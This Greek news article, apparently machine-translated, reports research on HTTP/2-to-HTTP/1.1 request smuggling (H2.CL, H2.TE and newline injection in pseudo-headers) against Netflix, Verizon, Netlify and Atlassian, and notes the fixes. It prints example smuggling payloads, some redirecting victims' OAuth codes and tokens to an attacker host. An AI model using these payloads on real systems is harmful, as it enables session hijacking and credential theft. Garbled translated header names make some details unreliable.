Μια νέα επίθεση σε συστήματα front-end-backend που σας επιτρέπει να ενσωματώνετε τα αιτήματα

Συστήματα Ιστού στα οποία το frontend δέχεται συνδέσεις μέσω HTTP/2 και μεταδίδει στο backend μέσω HTTP/1.1 έχουν εκτεθεί σε μια νέα παραλλαγή της επίθεσης HTTP Request Smuggling, η οποία επιτρέπει, με την αποστολή ειδικά σχεδιασμένων αιτημάτων πελατών, να ενσφηνωθεί στο περιεχόμενο των αιτημάτων από άλλους χρήστες που υποβάλλονται σε επεξεργασία με την ίδια ροή μεταξύ του frontend και του backend. Η επίθεση μπορεί να χρησιμοποιηθεί για την εισαγωγή κακόβουλου κώδικα JavaScript σε μια συνεδρία με νόμιμο ιστότοπο, για παράκαμψη συστημάτων ελέγχου πρόσβασης και για παρεμπόδιση παραμέτρων ελέγχου ταυτότητας.

Το πρόβλημα επηρεάζει τους διακομιστή μεσολάβησης ιστού, τους εξισορροπητές φόρτωσης, τους επιταχυντές ιστού, τα συστήματα παράδοσης περιεχομένου και άλλες διαμορφώσεις στις οποίες τα αιτήματα ανακατευθύνονται σύμφωνα με το σχήμα front-end-backend. Ο συγγραφέας της μελέτης έδειξε την ικανότητα να επιτίθεται σε συστήματα σε Netflix, Verizon, Bitbucket, Netlify CDN και Atlassian και έλαβε 56 $ σε προγράμματα επιβράβευσης ευπάθειας. Το πρόβλημα έχει επίσης επιβεβαιωθεί σε προϊόντα F5 Networks. Εν μέρει το ζήτημα επηρεάζει το mod_proxy στον διακομιστή Apache http (CVE-2021-33193), αναμένεται μια επιδιόρθωση στην έκδοση 2.4.49 (οι προγραμματιστές ειδοποιήθηκαν για το πρόβλημα στις αρχές Μαΐου και έλαβαν 3 μήνες για να το διορθώσουν). Στο nginx, η δυνατότητα ταυτόχρονου προσδιορισμού των κεφαλίδων "Content-Length" και "Transfer-Encoding" αποκλείστηκε στην τελευταία έκδοση (1.21.1). Τα εργαλεία επίθεσης έχουν ήδη προστεθεί στην εργαλειοθήκη Burp και είναι διαθέσιμα ως επέκταση Turbo Intruder.

Η αρχή λειτουργίας της νέας μεθόδου ενσωμάτωσης αιτημάτων στην κυκλοφορία είναι παρόμοια με την ευπάθεια που εντόπισε ο ίδιος ερευνητής πριν από δύο χρόνια, αλλά περιορίζεται σε διεπαφές που δέχονται αιτήματα μέσω HTTP/1.1. Θυμηθείτε ότι στο σχήμα frontend-backend, οι αιτήσεις πελατών λαμβάνονται από έναν πρόσθετο κόμβο - το frontend, το οποίο δημιουργεί μια μακροχρόνια σύνδεση TCP με το backend που επεξεργάζεται άμεσα αιτήματα. Μέσω αυτής της κοινής σύνδεσης, συνήθως μεταδίδονται αιτήματα από διαφορετικούς χρήστες, τα οποία ακολουθούν την αλυσίδα το ένα μετά το άλλο, χωρισμένα μέσω του πρωτοκόλλου HTTP.

Η κλασική επίθεση "HTTP Request Smuggling" βασίστηκε στο γεγονός ότι τα frontend και τα backends ερμηνεύουν τη χρήση των κεφαλίδων HTTP "Content-Length" (καθορίζει το συνολικό μέγεθος των δεδομένων στο αίτημα) και "Transfer-Encoding: chunked" ( επιτρέπει τη μεταφορά δεδομένων σε μέρη) διαφορετικά . Για παράδειγμα, εάν το frontend υποστηρίζει μόνο "Content-Length" αλλά αγνοεί το "Transfer-Encoding: chunked", τότε ένας εισβολέας θα μπορούσε να στείλει ένα αίτημα που περιέχει και τις δύο κεφαλίδες "Content-Length" και "Transfer-Encoding: chunked", αλλά το μέγεθος είναι "Content-Length" δεν ταιριάζει με το μέγεθος της τεμαχισμένης αλυσίδας. Σε αυτήν την περίπτωση, το frontend θα επεξεργαστεί και θα ανακατευθύνει το αίτημα σύμφωνα με το "Content-Length" και το backend θα περιμένει να ολοκληρωθεί το μπλοκ με βάση το "Transfer-Encoding: chunked" και η υπόλοιπη ουρά του αιτήματος του εισβολέα θα είναι στην αρχή του ξένου αιτήματος που διαβιβάστηκε στη συνέχεια.

Σε αντίθεση με το πρωτόκολλο κειμένου HTTP/1.1, το οποίο αναλύεται σε επίπεδο γραμμής, το HTTP/2 είναι ένα δυαδικό πρωτόκολλο και χειρίζεται μπλοκ δεδομένων προκαθορισμένου μεγέθους. Ωστόσο, το HTTP/2 χρησιμοποιεί ψευδο-κεφαλίδες που αντιστοιχούν σε κανονικές κεφαλίδες HTTP. Κατά την αλληλεπίδραση με το backend μέσω HTTP/1.1, το frontend μεταφράζει αυτές τις ψευδο-κεφαλίδες σε παρόμοιες κεφαλίδες HTTP/1.1 HTTP. Το πρόβλημα είναι ότι το backend λαμβάνει αποφάσεις σχετικά με την ανάλυση της ροής με βάση τις κεφαλίδες HTTP που ορίζονται από το frontend, χωρίς να γνωρίζει τις παραμέτρους του αρχικού αιτήματος.

Συμπεριλαμβανομένων με τη μορφή ψευδο-κεφαλίδων, οι τιμές "content-length" και "transfer-encoding" μπορούν να μεταδοθούν, παρά το γεγονός ότι δεν χρησιμοποιούνται στο HTTP / 2, καθώς το μέγεθος όλων των δεδομένων καθορίζεται σε ξεχωριστό πεδίο. Ωστόσο, κατά τη διαδικασία μετατροπής ενός αιτήματος HTTP/2 σε HTTP/1.1, αυτές οι κεφαλίδες μεταφέρονται και μπορεί να μπερδέψουν το backend. Υπάρχουν δύο κύριες επιλογές επίθεσης: H2.TE και H2.CL, στις οποίες το backend παραπλανάται από μια εσφαλμένη τιμή κωδικοποίησης μεταφοράς ή μήκους περιεχομένου που δεν αντιστοιχεί στο πραγματικό μέγεθος του σώματος αιτήματος που λαμβάνεται από το frontend μέσω του Πρωτόκολλο HTTP / 2.

Μια νέα επίθεση σε συστήματα front-end-backend που σας επιτρέπει να ενσωματώνετε τα αιτήματα

Ως παράδειγμα επίθεσης H2.CL, η ψευδο-κεφαλίδα μήκους περιεχομένου είναι εσφαλμένη κατά την αποστολή αιτήματος HTTP/2 στο Netflix. Αυτό το αίτημα έχει ως αποτέλεσμα την προσθήκη παρόμοιας κεφαλίδας Content-Length HTTP κατά την πρόσβαση στο backend μέσω HTTP/1.1, αλλά επειδή το μέγεθος στο Content-Length είναι μικρότερο από το πραγματικό μέγεθος, ορισμένα από τα δεδομένα στην ουρά υποβάλλονται σε επεξεργασία ως αρχή του επόμενου αιτήματος.

Για παράδειγμα, ένα αίτημα HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Κεντρικός υπολογιστής: 02.rs?x.netflix.com Foo: bar

Θα στείλει ένα αίτημα στο backend: POST /n HTTP/1.1 Κεντρικός υπολογιστής: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Κεντρικός υπολογιστής: 02.rs?x.netflix.com Foo: bar

Εφόσον το Content-Length έχει οριστεί σε 4, το backend θα δέχεται μόνο το "abcd" ως το σώμα του αιτήματος και θα επεξεργάζεται το υπόλοιπο "GET /n HTTP/1.1..." ως αρχή του επόμενου αιτήματος που συνδέεται με άλλο χρήστη. Κατά συνέπεια, η ροή θα είναι εκτός συγχρονισμού και ως απόκριση στο επόμενο αίτημα, το αποτέλεσμα της επεξεργασίας του πλαστού αιτήματος θα επιστραφεί. Στην περίπτωση του Netflix, ο καθορισμός ενός κεντρικού υπολογιστή τρίτου μέρους στην κεφαλίδα "Host:" σε ένα πλαστό αίτημα είχε ως αποτέλεσμα την απάντηση "Location: https://02.rs?x.netflix.com/n" στον πελάτη και επέτρεψε τη μετάδοση αυθαίρετου περιεχομένου στον πελάτη, συμπεριλαμβανομένης της εκτέλεσης του κώδικα JavaScript στο πλαίσιο του ιστότοπου Netflix.

Η δεύτερη παραλλαγή της επίθεσης (H2.TE) σχετίζεται με την αντικατάσταση της κεφαλίδας "Transfer-Encoding: chunked". Η χρήση της ψευδο-κεφαλίδας κωδικοποίησης μεταφοράς στο HTTP/2 απαγορεύεται από την προδιαγραφή και τα αιτήματα με αυτήν ορίζεται ότι πρέπει να αντιμετωπίζονται ως εσφαλμένα. Παρόλα αυτά, ορισμένες υλοποιήσεις frontend αγνοούν αυτήν την απαίτηση και επιτρέπουν τη χρήση της ψευδο-κεφαλίδας κωδικοποίησης μεταφοράς στο HTTP/2, η οποία μεταφράζεται σε παρόμοια κεφαλίδα HTTP. Εάν υπάρχει η κεφαλίδα "Μεταφορά-Κωδικοποίηση", το backend μπορεί να την λάβει ως προτεραιότητα και να αναλύσει τα δεδομένα σε μέρη στη λειτουργία "κομματιασμένη" χρησιμοποιώντας μπλοκ διαφορετικών μεγεθών στη μορφή "{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" παρά την αρχική διαίρεση με το συνολικό μέγεθος.

Η παρουσία ενός τέτοιου κενού αποδείχθηκε από το παράδειγμα της Verizon. Ωστόσο, το πρόβλημα αφορούσε την πύλη ελέγχου ταυτότητας και το σύστημα διαχείρισης περιεχομένου, το οποίο χρησιμοποιείται επίσης από ιστότοπους όπως η Huffington Post και το Engadget. Για παράδειγμα, ένα αίτημα πελάτη μέσω HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com κωδικοποίηση μεταφοράς τεμαχίστηκε 0 GET /oops HTTP/1.1 Κεντρικός υπολογιστής: psres.net Content-Length: 10 x=

Προκλήθηκε αίτημα HTTP/1.1 στο backend: POST /identity/XUI HTTP/1.1 Κεντρικός υπολογιστής: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: τεμαχισμένο 0 GET /oops HTTP/1.1 Κεντρικός υπολογιστής: psres.net Content- Length : 10x=

Το backend, με τη σειρά του, αγνόησε την κεφαλίδα "Content-Length" και έκανε το διαχωρισμό στη ροή με βάση το "Transfer-Encoding: chunked". Στην πράξη, η επίθεση κατέστησε δυνατή την ανακατεύθυνση αιτημάτων χρηστών στον ιστότοπό σας, συμπεριλαμβανομένης της υποκλοπής αιτημάτων που σχετίζονται με τον έλεγχο ταυτότητας OAuth, οι παράμετροι του οποίου εμφανίζονταν στην κεφαλίδα του Referer, καθώς και η προσομοίωση μιας περιόδου λειτουργίας ελέγχου ταυτότητας και η έναρξη της αποστολής διαπιστευτηρίων χρήστη στο οικοδεσπότης του επιτιθέμενου. GET /b2blanding/show/oops HTTP/1.1 Κεντρικός υπολογιστής: psres.net Αναφορά: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Κεντρικός υπολογιστής: psres.net Εξουσιοδότηση: Φορέας eyJhcGwiOiJIUzI1CCI1

Για να επιτεθούμε σε υλοποιήσεις HTTP/2 που δεν επιτρέπουν τον καθορισμό της ψευδο-κεφαλίδας κωδικοποίησης μεταφοράς, έχει προταθεί μια άλλη μέθοδος που περιλαμβάνει την αντικατάσταση της κεφαλίδας "Μεταφορά-Κωδικοποίηση" προσαρτώντας την σε άλλες ψευδοκεφαλίδες που χωρίζονται με χαρακτήρα νέας γραμμής (όταν μετατρέπεται στο HTTP/1.1 σε αυτήν την περίπτωση, δημιουργούνται δύο ξεχωριστές κεφαλίδες HTTP).

Για παράδειγμα, το Atlassian Jira και το Netlify CDN (χρησιμοποιούνται για την εξυπηρέτηση της αρχικής σελίδας του Mozilla στον Firefox) επηρεάστηκαν από αυτό το πρόβλημα. Συγκεκριμένα, το αίτημα HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: τεμαχισμένο 0\r\n \r\n GET / HTTP/1.1\r\n Κεντρικός υπολογιστής : evil-netlify-domain\r\n Μήκος περιεχομένου: 5\r\n \r\nx=

προκάλεσε την αποστολή ενός αιτήματος HTTP/1.1 POST / HTTP/1.1 στο backend\r\n Κεντρικός υπολογιστής: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Περιεχόμενο- Μήκος: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Κεντρικός υπολογιστής: evil-netlify-domain\r\n Μήκος περιεχομένου: 5\r\n \ r\nx=

Μια άλλη επιλογή για την αντικατάσταση της κεφαλίδας "Μεταφορά-Κωδικοποίηση" ήταν να την επισυνάψετε στο όνομα μιας άλλης ψευδο-κεφαλίδας ή σε μια συμβολοσειρά με μέθοδο αιτήματος. Για παράδειγμα, κατά την πρόσβαση στο Atlassian Jira, το όνομα της ψευδο-κεφαλίδας "foo: bar\r\ntransfer-encoding" με την τιμή "chunked" είχε ως αποτέλεσμα την προσθήκη των κεφαλίδων HTTP "foo: bar" και "transfer-encoding" : chunked", και προσδιορίζοντας στην ψευδοκεφαλίδα ":method" της τιμής "GET / HTTP/1.1\r\nTransfer-encoding: chunked" μεταφράστηκε σε "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

Ο ερευνητής που εντόπισε το πρόβλημα πρότεινε επίσης μια τεχνική διοχέτευσης αιτήματος για επίθεση στα frontends, στην οποία δημιουργείται μια ξεχωριστή σύνδεση με το backend για κάθε διεύθυνση IP και η κίνηση διαφορετικών χρηστών δεν αναμιγνύεται. Η προτεινόμενη τεχνική δεν σας επιτρέπει να παρέμβετε σε αιτήματα άλλων χρηστών, αλλά καθιστά δυνατή τη δηλητηρίαση της κοινόχρηστης μνήμης, η οποία επηρεάζει την επεξεργασία άλλων αιτημάτων και σας επιτρέπει να κάνετε αντικατάσταση εσωτερικών κεφαλίδων HTTP που χρησιμοποιούνται για τη μεταφορά πληροφοριών υπηρεσίας από το frontend στο backend (για παράδειγμα, κατά τον έλεγχο ταυτότητας στην πλευρά του frontend σε τέτοιες κεφαλίδες μπορεί να στείλει πληροφορίες σχετικά με τον τρέχοντα χρήστη στο backend). Ως παράδειγμα εφαρμογής της μεθόδου στην πράξη, χρησιμοποιώντας δηλητηρίαση κρυφής μνήμης, ήταν δυνατό να αποκτήσετε τον έλεγχο των σελίδων στην υπηρεσία Bitbucket.

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο